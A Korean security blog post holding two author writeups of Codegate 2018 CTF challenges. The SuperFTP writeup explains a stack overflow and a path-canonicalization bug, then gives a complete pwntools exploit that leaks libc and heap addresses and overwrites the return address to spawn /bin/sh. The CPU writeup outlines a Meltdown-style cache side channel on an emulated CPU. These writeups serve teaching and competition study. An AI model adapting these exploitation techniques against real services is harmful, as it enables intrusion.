Codegate2018 SuperFTP Writeup

본 글은 블랙펄시큐리티에서 코드게이트 2018에서 출제했던 SuperFTP 문제에 대한 내용을 담고 있습니다.

https://blackperl-security.gitlab.io/blog/2018/02/16/2018-02-16-codegate2018-superftp/


superFTP Writeup

안녕하세요.
블랙펄시큐리티 pesante입니다.

2018년도 코드게이트 문제를 냈던 superFTP에 대해 writeup을 써보려 합니다. 사실 superFTP는 생각보다 선택지가 많지 않고 취약점도 쉽게 트리거할 수 있는 문제입니다. 하지만 c++로 제작되고 보호기법이 모두 걸려있다 보니 분석이 오래 걸릴 수 있습니다.

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

해당 바이너리에서 취약점이 존재하는 기능들은 다음과 같습니다.

  1. login 기능을 할때 id와 pw를 입력받는 과정에서 스택 오버플로우가 존재합니다.
  2. Download file을 할 시 URL을 입력받게 되는데 경로를 Canonicalization 합니다. 즉 “/path1/path2/../path3″를 전달하면 /../를 앞 부분의 슬래시를 찾아 지우고 “/path1/path3″로 변환합니다. 하지만 “/../a”와 같은 경우 앞부분의 슬래시가 존재하지 않기 때문에 메모리에서 다음 슬래시(0x2f)값이 나올때까지 찾아 바꾸게 됩니다. 즉 메모리에서 0x2f가 존재하는 부분을 덮을 수 있습니다.

사실 1번은 함정으로 넣으려 했던건데, 급하게 문제를 출제하는 바람에 의도하지 않은 풀이가 발생했습니다. 다음은 PPP팀에서 푼 writeup입니다.

https://github.com/pwning/public-writeup/tree/master/codegate2018/SuperFTP

위의 링크에서는 canary가 랜덤으로 생성되므로 0x2f가 들어갈 때 카나리를 leak하고 1번 취약점을 통해 exploit을 했습니다. 쉘을 획득 가능하지만 브루트포싱을 해야 하므로 조금 시간이 걸릴 수 있습니다.

사실 의도한 풀이는 다음과 같습니다.

  1. join (“/bin/sh 삽입”)
  2. login을 0x2e 반복(main 함수의 로그인 횟수를 0x2e로 설정)
  3. 파일 다운로드 기능을 통해 url을 “/../a”처럼 설정하면 heap에 url이 할당되어 0x2f까지 거슬러올라가 String 객체의 길이를 overwrite
  4. print information 기능을 선택하면 길이가 덮인 String 객체를 출력해주면서 libc의 주소와 heap의 주소를 leak
  5. admin으로 로그인하여 (로그인 횟수 0x2f로 변경됨) debug mode로 들어가면 debug 기능을 통해 각 함수를 디버깅 가능. 아까와 같은 url을 canonicalization하는 함수가 있는데 디버깅 모드로 호출하는 함수는 힙이 아닌 스택에 url이 할당됨. 따라서 main에 있는 로그인 횟수(0x2f)를 찾아 위로 스택을 덮게 되고 ret을 overwrite 할 수 있음
  6. system 함수는 leak한 libc를 통해 오프셋을 더하여 구할 수 있고 “/bin/sh”의 주소는 leak한 heap을 통해 오프셋을 더하여 구할 수 있으므로 쉘을 획득 하는 것이 가능

단, url을 canonicalization 할 때 문자열을 뒤집어서 결과를 구하는데 overwrite 될 때도 뒤집어진 채로 들어가므로 system 함수와 “/bin/sh”의 주소를 거꾸로 넣어야 됩니다. 해당 문제에 대한 풀이는 다음과 같습니다.

#-*- coding: utf-8 -*-

from pwn import *

s=remote('127.0.0.1', 8888)

raw_input()


leak_system_offset=0x176068
leakh_binaddr_offset=0xb

system_addr=0
bin_addr=0

#join 을 통한 /bin/sh 삽입
print s.recv(1024)
s.send(p32(1))
print s.recv(1024)
s.send('/estt/bin/sh'+'\n')
print s.recv(1024)
s.send('47'+'\n')
print s.recv(1024)
s.send('test'+'\n')
print s.recv(1024)
s.send('test'+'\n')
print s.recv(1024)


#login 0x2e만큼 반복
for i in range(0, 46):
    s.send(p32(3))
    s.send('test'+'\n')
    print s.recv(1024)
    s.send('test'+'\n')
    print s.recv(1024)

#heap leak을 통해 libc와 heap 주소 얻어옴
s.send(p32(5))
print s.recv(1024)
s.send('/../a'+'\n')
print s.recv(1024)

s.send(p32(2))
s.recvuntil('Name : ')

leakdata=s.recv(1024)

libc=u32(leakdata[28:32])
heap=u32(leakdata[32:36])

system_addr=libc-leak_system_offset
bin_addr=heap-leakh_binaddr_offset

print hex(libc)
print hex(heap)
print hex(system_addr)
print hex(bin_addr)

#admin login과 동시에 main의 로그인 횟수 변수는 0x2f가 됨
s.send(p32(3))
s.send('admin'+'\n')
print s.recv(1024)
s.send('P3ssw0rd'+'\n')
print s.recv(1024)

#debug
s.send(p32(7))
print s.recv(1024)

#debugF을 통해 URL Canonicalization 함수 호출
s.send(p32(8))
s.send(p32(1))
print s.recv(1024)

#main의 0x2f를 덮으려면 두 번 슬래시를 넘어가야 함. /../../를 통해 main부터 ret을 거꾸로 덮음
s.send('/../../'+p32(bin_addr)[::-1]*3+p32(system_addr)[::-1]*2+'\n')
s.interactive()

Codegate2018 CPU Writeup

본 글은 블랙펄시큐리티에서 코드게이트 2018에서 출제했던 CPU 문제에 대한 내용을 담고 있습니다.

https://blackperl-security.gitlab.io/blog/2018/02/16/2018-02-16-codegate2018-cpu/


CPU Writeup

안녕하세요.
블랙펄시큐리티 pesante입니다.

2018년도 코드게이트 문제를 냈던 CPU에 대해 writeup을 써보려 합니다. CPU 문제는 이번에 인텔 CPU에 있었던 meltdown 취약점을 컨셉으로 잡았습니다.

멜트다운(Meltdown, “붕괴”)은 대부분의 인텔 CPU와 일부 ARM CPU에서 발생하는 보안 취약점이다. 멜트다운 버그는 마이크로프로세서가 컴퓨터의 메모리의 전체를 볼수있도록 프로그램의 접속을 허용하며, 이로 인해서 전체 컴퓨터의 내용에 접근할 수 있다. 멜트다운은 CVE-2017-5754로 등재되어 있다.

meltdown 취약점을 간략하게나마 구현해보고 싶었습니다. 개발을 하기에 앞서 github에서 찾아본 결과.. 어느정도 원하는 기능이 구현되어 있는 CPU를 찾았습니다(참고링크 첨부). 버그를 좀 고치고 원하는 기능들을 추가하여 멜트다운 컨셉의 문제를 낼 수 있었습니다. 그 결과 나온 CPU 프로그램의 주요 기능은 다음과 같습니다.

  1. 레지스터 및 다수의 인스트럭션
  2. 물리 메모리와 가상메모리
  3. 커널 메모리와 유저 메모리, 그리고 접근 권한
  4. 페이지 및 페이지 테이블
  5. 캐시 메모리
  6. exception handler

프로그램에 접속하면 기계어를 입력으로 줄수 있고 원하는 기능을 수행해 주는 프로그램입니다. 4바이트 씩 여러번 입력을 받는데, 처음 한바이트는 opcode이며 나머지는 인스트럭션에 따라 용도가 다르지만 보통 sreg나 dreg, 연산에 필요한 treg, 그리고 val로 쓰입니다.

프로그램의 main에서 다음과 같이 가상메모리를 할당합니다.

mem_desc1 = create_addr_space (0, 0x10000, 0x10000, 0x10000, 0x20000, 0x10000, 0x30000,0x10000);

각 메모리의 할당 용도는 다음과 같습니다.

  • 0~0x10000: code 영역
  • 0x10000~0x20000: data 영역
  • 0x20000~0x30000: stack 영역
  • 0x30000~0x40000: kernel 영역

프로그램의 최종 목표는 CPU 프로그램을 분석하여 각종 인스트럭션을 알아내고 이를 이용해 기계어로 프로그램을 작성하여 syscall을 통해 flag를 읽는 것입니다. 하지만 syscall을 하면 권한체크 과정을 거치기 때문에 그냥 호출할 순 없습니다.

main에서 urandom을 통해 4바이트의 랜덤 변수를 읽어서 0x35000, 0x35004의 가상메모리에 넣습니다.

int urnd = open("/dev/urandom", O_RDONLY);
  if(urnd==-1)
    return -1;
  read(urnd, &rng, sizeof(int));
  read(urnd, &rng2, sizeof(int));
  close(urnd);
  if (lookup_page_table (0x35000, current->mem_descriptor->pgd, &paddr, &perms) < 0) {
    exit (-3);
  }

  if (mem_write_32 (paddr, rng) < 0) {
    exit (-4);
  }

  if (lookup_page_table (0x35004, current->mem_descriptor->pgd, &paddr, &perms) < 0) {
    exit (-3);
  }

  if (mem_write_32 (paddr, rng2) < 0) {
    exit (-4);
  }

그리고 시스템콜을 호출하려면 r7, r8 레지스터에 위의 두 개값을 맞추어야 합니다.

...
rc = lookup_page_table (0x35000, current->mem_descriptor->pgd, p_addr, &perms);
  mem_read_32(*p_addr, &temp);
  k_privilege=temp;
  rc = lookup_page_table (0x35004, current->mem_descriptor->pgd, p_addr, &perms);
  mem_read_32(*p_addr, &temp);
  k_privilege=(k_privilege<<32)+temp;
  strbuf=(char*)malloc(sizeof(char)*1024);
  if (privilege==k_privilege)
  {
    switch(cpu_registers [0])
    {
      case sys_exit:
          exit(-1);
          break;
...

하지만 두 개의 랜덤값이 커널메모리에 들어있기 때문에 LOAD 명령어로 읽으려고 하면 권한이 없어서 Segfault를 출력하고 프로그램이 종료됩니다. 따라서 meltdown 취약점을 이용하여 커널 메모리를 읽고 레지스터에 삽입하여 시스템 콜을 호출하면 됩니다.

해당 프로그램은 캐싱을 할 수 있는 인스트럭션이 구현되어 있습니다. 이 때 sreg 4번을 전달하면 val 값을 주소로 받아 한 바이트를 읽어온 후 4096을 곱하여 dreg 레지스터에 더한 주소를 캐싱하는 기능이 구현되어 있습니다.

그리고 LOAD 인스트럭션에는 메모리에서 레지스터에 값을 가져오기 전에 캐시를 참조하는데, 만약 캐시에 LOAD하려던 주소의 페이지가 있으면 14번 레지스터를 1로 세팅하고 캐시의 값을 참조합니다. 이것을 이용하면 커널 메모리의 주소를 전달하여 한바이트를 참조하게 하여 캐싱한 후, LOAD 명령어를 4096씩 증가시키며 브루트 포싱하면 14번 레지스터가 세팅되었는지 여부를 판단하여 원하는 한 바이트를 leak하는 것이 가능합니다.

  • LOAD Address=dreg+4096*(1byte leak한 값)

아, 그리고 이 과정을 하기에 앞서 exception handler와 관련된 인스트럭션이 있는데 이것을 이용하여 segfault가 났을 때 무시하도록 세팅해야 프로그램이 종료되지 않습니다.

즉, 풀이 과정을 정리하면 다음과 같습니다.

  1. exception hanlder가 segfault를 무시하도록 인스트럭션 실행
  2. sreg를 4, val를 커널메모리(초기값 0x35000)으로 cache 인스트럭션 실행
  3. 0부터 4096씩 더하면서 LOAD 명령어 실행
  4. 14번 레지스터가 1이 세팅되었으면 1바이트를 계산하여 저장한 후 커널메모리 값을 1증가하여 2번의 과정 반복(이것을 여러번 반복하여 0x35000, 0x35004 값 leak)
  5. 7번, 8번 레지스터를 각각 0x35000, 0x35004에서 leak한 값으로 세팅
  6. syscall을 통해 flag 읽기

위의 과정을 기계어로 작성하여 입력값으로 보내면 플래그를 읽을 수 있습니다. 이에 대한 풀이는 jinmo 님의 링크를 참조합니다. 깔끔하게 잘 되어있네요!

Jinmo – Codegate2018 CPU WriteUp

참고링크